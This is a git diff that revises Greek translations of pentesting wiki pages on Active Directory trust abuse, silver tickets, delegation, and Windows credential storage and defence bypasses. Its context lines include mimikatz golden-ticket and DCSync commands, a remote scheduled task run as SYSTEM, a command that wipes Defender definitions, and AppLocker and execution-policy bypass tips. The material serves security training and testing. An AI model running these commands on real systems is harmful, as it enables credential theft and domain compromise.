ριζικού τομέα. Για παράδειγμα, αν το SID του ριζικού τομέα είναι `S-1-5-21-280534878-1496970234-700767426`, το προκύπτον SID για την ομάδα "Enterprise Admins" θα ήταν `S-1-5-21-280534878-1496970234-700767426-519`. Μπορείτε επίσης να χρησιμοποιήσετε τις ομάδες **Domain Admins**, οι οποίες τελειώνουν σε **512**. @@ -20,9 +20,9 @@ Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSi > Σημειώστε ότι είναι δυνατόν να απενεργοποιήσετε την ιστορία SID σε μια σχέση εμπιστοσύνης, γεγονός που θα αποτύχει αυτή την επίθεση. Σύμφωνα με τα [**docs**](https://technet.microsoft.com/library/cc835085.aspx): -- **Απενεργοποίηση της SIDHistory σε δασικές εμπιστοσύνες** χρησιμοποιώντας το εργαλείο netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) -- **Εφαρμογή SID Filter Quarantining σε εξωτερικές εμπιστοσύνες** χρησιμοποιώντας το εργαλείο netdom (`netdom trust /domain: /quarantine:yes on the domain controller`) -- **Εφαρμογή SID Filtering σε εμπιστοσύνες τομέα εντός ενός μόνο δάσους** δεν συνιστάται καθώς είναι μια μη υποστηριζόμενη διαμόρφωση και μπορεί να προκαλέσει σοβαρές αλλαγές. Εάν ένας τομέας εντός ενός δάσους είναι αναξιόπιστος, τότε δεν θα πρέπει να είναι μέλος του δάσους. Σε αυτή την περίπτωση, είναι απαραίτητο πρώτα να διαχωριστούν οι αξιόπιστοι και οι αναξιόπιστοι τομείς σε ξεχωριστά δάση όπου μπορεί να εφαρμοστεί το SID Filtering σε μια διασυνοριακή εμπιστοσύνη. +- **Απενεργοποίηση της SIDHistory σε δασικές σχέσεις εμπιστοσύνης** χρησιμοποιώντας το εργαλείο netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) +- **Εφαρμογή SID Filter Quarantining σε εξωτερικές σχέσεις εμπιστοσύνης** χρησιμοποιώντας το εργαλείο netdom (`netdom trust /domain: /quarantine:yes on the domain controller`) +- **Εφαρμογή SID Filtering σε σχέσεις εμπιστοσύνης τομέα εντός ενός μόνο δάσους** δεν συνιστάται καθώς είναι μια μη υποστηριζόμενη διαμόρφωση και μπορεί να προκαλέσει καταστροφικές αλλαγές. Εάν ένας τομέας εντός ενός δάσους είναι αναξιόπιστος, τότε δεν θα πρέπει να είναι μέλος του δάσους. Σε αυτή την περίπτωση, είναι απαραίτητο πρώτα να διαχωριστούν οι αξιόπιστοι και οι αναξιόπιστοι τομείς σε ξεχωριστά δάση όπου μπορεί να εφαρμοστεί το SID Filtering σε μια διασυνοριακή εμπιστοσύνη. Δείτε αυτή την ανάρτηση για περισσότερες πληροφορίες σχετικά με την παράκαμψη αυτού: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) @@ -61,14 +61,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid # The previous command will generate a file called ticket.kirbi # Just loading you can perform a dcsync attack agains the domain ``` -Για περισσότερες πληροφορίες σχετικά με τα golden tickets, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με τα golden tickets ελέγξτε: {{#ref}} golden-ticket.md {{#endref}} - -Για περισσότερες πληροφορίες σχετικά με τα diamond tickets, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με τα diamond tickets ελέγξτε: {{#ref}} diamond-ticket.md @@ -90,7 +89,7 @@ schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTE schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" ``` -Με τις αποκτηθείσες άδειες από την επίθεση μπορείτε να εκτελέσετε, για παράδειγμα, μια επίθεση DCSync στο νέο τομέα: +Με τις αποκτηθείσες άδειες από την επίθεση μπορείτε να εκτελέσετε για παράδειγμα μια επίθεση DCSync στο νέο τομέα: {{#ref}} dcsync.md diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index dc5a3860f..cc8d98408 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -9,7 +9,7 @@ Η επίθεση **Silver Ticket** περιλαμβάνει την εκμετάλλευση υπηρεσιακών εισιτηρίων σε περιβάλλοντα Active Directory (AD). Αυτή η μέθοδος βασίζεται στην **απόκτηση του NTLM hash ενός λογαριασμού υπηρεσίας**, όπως ενός λογαριασμού υπολογιστή, για να κατασκευαστεί ένα Ticket Granting Service (TGS) ticket. Με αυτό το πλαστό εισιτήριο, ένας επιτιθέμενος μπορεί να έχει πρόσβαση σε συγκεκριμένες υπηρεσίες στο δίκτυο, **υποδυόμενος οποιονδήποτε χρήστη**, συνήθως στοχεύοντας σε διοικητικά δικαιώματα. Τονίζεται ότι η χρήση κλειδιών AES για την κατασκευή εισιτηρίων είναι πιο ασφαλής και λιγότερο ανιχνεύσιμη. > [!WARNING] -> Τα Silver Tickets είναι λιγότερο ανιχνεύσιμα από τα Golden Tickets επειδή απαιτούν μόνο το **hash του λογαριασμού υπηρεσίας**, όχι τον λογαριασμό krbtgt. Ωστόσο, είναι περιορισμένα στην συγκεκριμένη υπηρεσία που στοχεύουν. Επιπλέον, απλώς κλέβοντας τον κωδικό πρόσβασης ενός χρήστη. +> Τα Silver Tickets είναι λιγότερο ανιχνεύσιμα από τα Golden Tickets επειδή απαιτούν μόνο το **hash του λογαριασμού υπηρεσίας**, όχι του λογαριασμού krbtgt. Ωστόσο, είναι περιορισμένα στην συγκεκριμένη υπηρεσία που στοχεύουν. Επιπλέον, απλώς κλέβοντας τον κωδικό πρόσβασης ενός χρήστη. Επιπλέον, αν παραβιάσετε τον **κωδικό πρόσβασης ενός λογαριασμού με SPN** μπορείτε να χρησιμοποιήσετε αυτόν τον κωδικό πρόσβασης για να δημιουργήσετε ένα Silver Ticket υποδυόμενοι οποιονδήποτε χρήστη σε αυτή την υπηρεσία. Για την κατασκευή εισιτηρίων, χρησιμοποιούνται διάφορα εργαλεία ανάλογα με το λειτουργικό σύστημα: @@ -49,14 +49,14 @@ mimikatz.exe "kerberos::ptt " | Προγραμματισμένα Καθήκοντα | HOST | | Κοινή Χρήση Αρχείων Windows, επίσης psexec | CIFS | | Λειτουργίες LDAP, συμπεριλαμβανομένου του DCSync | LDAP | -| Εργαλεία Διαχείρισης Απομακρυσμένου Διακομιστή Windows |

RPCSS

LDAP

CIFS

| +| Εργαλεία Διαχείρισης Απομακρυσμένων Διακομιστών Windows |

RPCSS

LDAP

CIFS

| | Χρυσά Εισιτήρια | krbtgt | Χρησιμοποιώντας **Rubeus** μπορείτε να **ζητήσετε όλα** αυτά τα εισιτήρια χρησιμοποιώντας την παράμετρο: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### IDs Εκδηλώσεων Silver tickets +### IDs Γεγονότων Silver Tickets - 4624: Σύνδεση Λογαριασμού - 4634: Αποσύνδεση Λογαριασμού @@ -110,7 +110,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Βρείτε **περισσότερες πληροφορίες σχετικά με το wmiexec** στην παρακάτω σελίδα: +Βρείτε **περισσότερες πληροφορίες σχετικά με το wmiexec** στη παρακάτω σελίδα: {{#ref}} ../lateral-movement/wmiexec.md @@ -118,7 +118,7 @@ wmic remote.computer.local list full /format:list ### HOST + WSMAN (WINRM) -Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση σε αυτόν** και ακόμη και να αποκτήσετε ένα PowerShell: +Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση** σε αυτόν και ακόμη και να αποκτήσετε ένα PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` @@ -139,6 +139,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc ``` **Μάθετε περισσότερα για το DCSync** στην παρακάτω σελίδα: + {{#ref}} dcsync.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index c1be80f2e..d18ca2f83 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -48,6 +48,7 @@ Rubeus.exe monitor /interval:10 [/filteruser:] #Check every 10s for ne Βρείτε εδώ άλλους τρόπους για να **επιβάλετε μια αυθεντικοποίηση:** + {{#ref}} printers-spooler-service-abuse.md {{#endref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 8bf603211..d0cf76b34 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -4,14 +4,14 @@ ## AppLocker Policy -Μια λίστα λευκών εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού. +Μια λίστα επιτρεπόμενων εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού. [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση λευκής λίστας εφαρμογών** της Microsoft και δίνει στους διαχειριστές συστημάτων έλεγχο πάνω σε **ποια εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε εκτελέσιμα, σενάρια, αρχεία εγκατάστασης Windows, DLLs, πακέτα εφαρμογών και εγκαταστάτες πακέτων εφαρμογών.\ -Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή πρόσβασης σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**. +Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**. ### Check -Έλεγχος ποια αρχεία/επεκτάσεις είναι στη μαύρη/λευκή λίστα: +Έλεγχος ποια αρχεία/επέκταση είναι στη μαύρη/λευκή λίστα: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο για να αναθεωρήσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα: +Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο να αναθεωρήσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` @@ -42,7 +42,7 @@ C:\windows\tracing ## Αποθήκευση Διαπιστευτηρίων -### Διαχειριστής Ασφαλείας Λογαριασμών (SAM) +### Διαχειριστής Λογαριασμών Ασφαλείας (SAM) Τα τοπικά διαπιστευτήρια είναι παρόντα σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι. @@ -65,11 +65,11 @@ C:\windows\tracing ### NTDS.dit -Είναι η βάση δεδομένων του Active Directory. Είναι παρούσα μόνο σε Ελεγκτές Τομέα. +Είναι η βάση δεδομένων του Active Directory. Είναι παρούσα μόνο στους Ελεγκτές Τομέα. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο στα Windows 10 και Windows 11, και σε εκδόσεις των Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο στα Windows 10 και Windows 11, και σε εκδόσεις του Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**. ### Έλεγχος @@ -101,20 +101,20 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` -## Εγγεγραμμένο Σύστημα Αρχείων (EFS) +## Encrypted File System (EFS) -Το EFS ασφαλίζει τα αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως **Κλειδί Κρυπτογράφησης Αρχείου (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται μέσα στο $EFS **εναλλακτικό ρεύμα δεδομένων** του κρυπτογραφημένου αρχείου. Όταν απαιτείται αποκρυπτογράφηση, χρησιμοποιείται το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη για να αποκρυπτογραφηθεί το FEK από το ρεύμα $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS secures files through encryption, utilizing a **symmetric key** known as the **File Encryption Key (FEK)**. This key is encrypted with the user's **public key** and stored within the encrypted file's $EFS **alternative data stream**. When decryption is needed, the corresponding **private key** of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). **Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία του χρήστη** περιλαμβάνουν: -- Όταν αρχεία ή φάκελοι μετακινούνται σε ένα μη EFS σύστημα αρχείων, όπως το [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα. +- Όταν αρχεία ή φάκελοι μεταφέρονται σε ένα μη EFS σύστημα αρχείων, όπως το [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα. - Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω του δικτύου μέσω του πρωτοκόλλου SMB/CIFS αποκρυπτογραφούνται πριν από τη μετάδοση. -Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** σε κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, απλώς αλλάζοντας τον κωδικό πρόσβασης του κατόχου και συνδεόμενος δεν επιτρέπει την αποκρυπτογράφηση. +Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** σε κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, απλώς αλλάζοντας τον κωδικό πρόσβασης του κατόχου και συνδεόμενος δεν θα επιτρέψει την αποκρυπτογράφηση. -**Κύρια Σημεία**: +**Κύρια σημεία**: -- Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη. +- EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη. - Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για να αποκτήσει πρόσβαση στο FEK. - Αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου. - Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα στον κάτοχο χωρίς επιπλέον βήματα. @@ -124,31 +124,32 @@ sc query windefend Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτή την **υπηρεσία** ελέγχοντας αν υπάρχει αυτή η διαδρομή: `C:\users\\appdata\roaming\Microsoft\Protect` Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \\ -Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και να **αποκρυπτογραφήσετε** όλα τα αρχεία +Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και **αποκρυπτογραφήσετε** όλα τα αρχεία ### Αποκρυπτογράφηση αρχείων EFS -#### Όντας Αρχή Συστήματος +#### Όντας Authority System Αυτή η μέθοδος απαιτεί ο **θύμα χρήστης** να είναι **σε εκτέλεση** μια **διαδικασία** μέσα στον υπολογιστή. Αν αυτό ισχύει, χρησιμοποιώντας μια συνεδρία `meterpreter` μπορείτε να προσποιηθείτε το διακριτικό της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Ή μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη. -#### Γνωρίζοντας τον κωδικό πρόσβασης του χρήστη +#### Γνωρίζοντας τον κωδικό πρόσβασης των χρηστών + {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσιών (gMSA) +## Group Managed Service Accounts (gMSA) -Η Microsoft ανέπτυξε τους **Ομαδικούς Διαχειριζόμενους Λογαριασμούς Υπηρεσιών (gMSA)** για να απλοποιήσει τη διαχείριση των λογαριασμών υπηρεσιών στις υποδομές IT. Σε αντίθεση με τους παραδοσιακούς λογαριασμούς υπηρεσιών που συχνά έχουν ενεργοποιημένη την ρύθμιση "**Ο κωδικός πρόσβασης δεν λήγει ποτέ**", οι gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση: +Microsoft ανέπτυξε **Group Managed Service Accounts (gMSA)** για να απλοποιήσει τη διαχείριση των λογαριασμών υπηρεσιών στις υποδομές IT. Σε αντίθεση με τους παραδοσιακούς λογαριασμούς υπηρεσιών που συχνά έχουν ενεργοποιημένη την ρύθμιση "**Ο κωδικός πρόσβασης δεν λήγει ποτέ**", οι gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση: -- **Αυτόματη Διαχείριση Κωδικών Πρόσβασης**: Οι gMSA χρησιμοποιούν έναν πολύπλοκο, 240-χαρακτήρων κωδικό πρόσβασης που αλλάζει αυτόματα σύμφωνα με την πολιτική του τομέα ή του υπολογιστή. Αυτή η διαδικασία διαχειρίζεται από την Υπηρεσία Κατανομής Κλειδιών της Microsoft (KDC), εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών πρόσβασης. +- **Αυτόματη Διαχείριση Κωδικών Πρόσβασης**: Οι gMSA χρησιμοποιούν έναν πολύπλοκο, 240-χαρακτήρων κωδικό πρόσβασης που αλλάζει αυτόματα σύμφωνα με την πολιτική τομέα ή υπολογιστή. Αυτή η διαδικασία διαχειρίζεται από την Υπηρεσία Κατανομής Κλειδιών της Microsoft (KDC), εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών πρόσβασης. - **Ενισχυμένη Ασφάλεια**: Αυτοί οι λογαριασμοί είναι ανθεκτικοί σε κλειδώματα και δεν μπορούν να χρησιμοποιηθούν για διαδραστικές συνδέσεις, ενισχύοντας την ασφάλειά τους. - **Υποστήριξη Πολλών Υπολογιστών**: Οι gMSA μπορούν να μοιράζονται σε πολλούς υπολογιστές, καθιστώντας τους ιδανικούς για υπηρεσίες που εκτελούνται σε πολλούς διακομιστές. - **Δυνατότητα Προγραμματισμένων Εργασιών**: Σε αντίθεση με τους διαχειριζόμενους λογαριασμούς υπηρεσιών, οι gMSA υποστηρίζουν την εκτέλεση προγραμματισμένων εργασιών. -- **Απλοποιημένη Διαχείριση SPN**: Το σύστημα ενημερώνει αυτόματα το Όνομα Κύριας Υπηρεσίας (SPN) όταν υπάρχουν αλλαγές στα στοιχεία sAMaccount του υπολογιστή ή στο DNS όνομα, απλοποιώντας τη διαχείριση SPN. +- **Απλοποιημένη Διαχείριση SPN**: Το σύστημα ενημερώνει αυτόματα το Service Principal Name (SPN) όταν υπάρχουν αλλαγές στα στοιχεία sAMaccount του υπολογιστή ή στο DNS όνομα, απλοποιώντας τη διαχείριση SPN. -Οι κωδικοί πρόσβασης για τους gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναρυθμίζονται αυτόματα κάθε 30 ημέρες από τους Ελεγκτές Τομέα (DCs). Αυτός ο κωδικός πρόσβασης, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και τους διακομιστές στους οποίους είναι εγκατεστημένοι οι gMSA, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες, απαιτείται μια ασφαλής σύνδεση όπως το LDAPS ή η σύνδεση πρέπει να είναι αυθεντικοποιημένη με 'Sealing & Secure'. +Οι κωδικοί πρόσβασης για τις gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναρυθμίζονται αυτόματα κάθε 30 ημέρες από τους Domain Controllers (DCs). Αυτός ο κωδικός πρόσβασης, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και τους διακομιστές στους οποίους είναι εγκατεστημένες οι gMSA, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες, απαιτείται μια ασφαλής σύνδεση όπως το LDAPS ή η σύνδεση πρέπει να είναι αυθεντικοποιημένη με 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png) @@ -170,7 +171,7 @@ active-directory-methodology/laps.md ## PS Constrained Language Mode -Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **κλειδώνει πολλές από τις δυνατότητες** που απαιτούνται για τη χρήση του PowerShell αποτελεσματικά, όπως η μπλοκάρισμα αντικειμένων COM, η επιτρεπόμενη μόνο χρήση εγκεκριμένων τύπων .NET, ροές εργασίας βασισμένες σε XAML, κλάσεις PowerShell και άλλα. +Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **κλειδώνει πολλές από τις δυνατότητες** που απαιτούνται για τη χρήση του PowerShell αποτελεσματικά, όπως το μπλοκάρισμα COM αντικειμένων, επιτρέποντας μόνο εγκεκριμένους τύπους .NET, ροές εργασίας βασισμένες σε XAML, κλάσεις PowerShell και άλλα. ### **Έλεγχος** ```bash @@ -197,7 +198,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ## Πολιτική Εκτέλεσης PS -Από προεπιλογή είναι ρυθμισμένη σε **restricted.** Κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική: +Από προεπιλογή είναι ρυθμισμένη σε **restricted.** Οι κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -238,11 +239,12 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel - **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM, με το Kerberos να είναι το προεπιλεγμένο) - %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### Η διαπραγμάτευση μπορεί να προσφέρει πολλές μεθόδους ή μόνο μία. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που ενεργοποιεί μια **προτροπή συγκατάθεσης για ανυψωμένες δραστηριότητες**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που ενεργοποιεί ένα **prompt συγκατάθεσης για ανυψωμένες δραστηριότητες**. + {{#ref}} authentication-credentials-uac-and-efs/uac-user-account-control.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 8325da368..64c15119f 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -7,7 +7,7 @@ Μια λίστα λευκών εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού. [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση λευκής λίστας εφαρμογών** της Microsoft και δίνει στους διαχειριστές συστημάτων έλεγχο πάνω σε **ποια εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε εκτελέσιμα, σενάρια, αρχεία εγκατάστασης Windows, DLLs, πακέτα εφαρμογών και εγκαταστάτες πακέτων εφαρμογών.\ -Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά αυτό μπορεί να παρακαμφθεί**. +Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**. ### Check @@ -33,8 +33,8 @@ C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κώδικες μπορούν επίσης να είναι χρήσιμοι για να παρακαμφθεί το AppLocker. -- **Κακώς γραμμένοι κανόνες μπορούν επίσης να παρακαμφθούν** +- Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κωδικοί μπορεί να είναι επίσης χρήσιμοι για να παρακάμψουν το AppLocker. +- **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν** - Για παράδειγμα, **``**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί. - Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`. - **Η επιβολή DLL σπάνια είναι ενεργοποιημένη** λόγω του επιπλέον φορτίου που μπορεί να επιφέρει σε ένα σύστημα, και της ποσότητας δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι, η χρήση **DLLs ως πίσω πόρτες θα βοηθήσει στην παράκαμψη του AppLocker**. @@ -42,13 +42,13 @@ C:\windows\tracing ## Αποθήκευση Διαπιστευτηρίων -### Διαχειριστής Ασφαλείας Λογαριασμών (SAM) +### Διαχειριστής Λογαριασμών Ασφαλείας (SAM) Τα τοπικά διαπιστευτήρια είναι παρόντα σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι. ### Τοπική Αρχή Ασφαλείας (LSA) - LSASS -Τα **διαπιστευτήρια** (κατακερματισμένα) είναι **αποθηκευμένα** στη **μνήμη** αυτού του υποσυστήματος για λόγους Ενιαίας Σύνδεσης.\ +Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Ενιαίας Σύνδεσης.\ Η **LSA** διαχειρίζεται την τοπική **πολιτική ασφαλείας** (πολιτική κωδικών πρόσβασης, δικαιώματα χρηστών...), **αυθεντικοποίηση**, **tokens πρόσβασης**...\ Η LSA θα είναι αυτή που θα **ελέγξει** τα παρεχόμενα διαπιστευτήρια μέσα στο **αρχείο SAM** (για τοπική σύνδεση) και θα **μιλήσει** με τον **ελεγκτή τομέα** για να αυθεντικοποιήσει έναν χρήστη τομέα. @@ -56,7 +56,7 @@ C:\windows\tracing ### Μυστικά LSA -Η LSA μπορεί να αποθηκεύσει στο δίσκο κάποια 